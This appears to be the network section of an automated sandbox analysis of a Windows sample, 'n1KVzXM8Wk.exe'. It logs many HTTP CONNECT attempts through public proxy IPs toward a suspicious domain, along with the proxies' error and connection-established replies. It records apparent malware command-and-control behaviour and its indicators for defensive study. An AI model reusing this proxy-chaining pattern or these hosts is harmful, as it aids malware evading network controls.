Feb 23, 2024 09:45:22.830344915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.917553902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.4	52666	103.163.51.254	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.841468096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.4	52732	70.166.167.55	57745	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.857009888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.4	52790	172.67.254.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.860440969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.948364019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.4	52713	81.228.38.238	46115	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.860451937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.4	52262	50.63.13.3	6164	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.860819101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.365705967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.866352081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865792990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.4	52746	45.5.118.43	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.861061096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.009583950 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 815 Content-Type: text/html Date: Thu, 08 Feb 2024 15:32:27 GMT Expires: Thu, 08 Feb 2024 15:32:27 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.4	49972	138.68.24.185	46035	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.862107038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865732908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866487980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.4	52720	146.59.2.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.865731955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.4	52699	186.124.164.213	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.894427061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.4	52731	146.59.70.29	23449	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.894504070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.4	51817	142.54.235.9	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.904150963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.4	52761	162.248.227.140	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.908843994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.4	52771	72.206.181.103	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.917009115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.4	52768	82.64.77.30	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.917265892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.139796019 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Fri, 23 Feb 2024 08:45:23 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.4	52298	18.229.253.47	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.927287102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.975063086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975424051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.975338936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.4	50771	166.62.88.163	54445	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.928325891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943860054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944227934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969564915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.4	52701	8.213.129.15	83	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.933722019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.225743055 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.4	52719	151.232.18.66	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.937124968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.4	50738	212.174.79.165	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.937544107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.975081921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975425005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.4	52337	188.68.52.220	9050	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.937799931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943860054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944226980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969580889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.4	50721	92.241.92.218	14888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.937967062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.4	52351	38.172.128.24	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.938045025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943890095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944228888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969583988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.974910021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.4	52836	104.17.132.79	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.950752020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.046370983 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.4	52315	109.194.22.61	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.950781107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.4	52167	172.235.16.236	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.956275940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943958998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944231033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969593048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.974931955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.974900007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:11.021781921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.4	52712	197.159.130.134	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.960220098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.4	52809	212.31.100.138	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.960468054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.4	52834	44.190.9.65	48100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.963972092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.4	52728	8.213.129.15	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.976718903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.296812057 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.4	52280	133.18.234.13	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.986394882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.302551985 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.4	52795	41.77.188.131	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.006247044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740544081 CET	933	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:24 GMT Server: Apache X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff Content-Length: 622 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.4	52804	185.204.197.25	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.066204071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
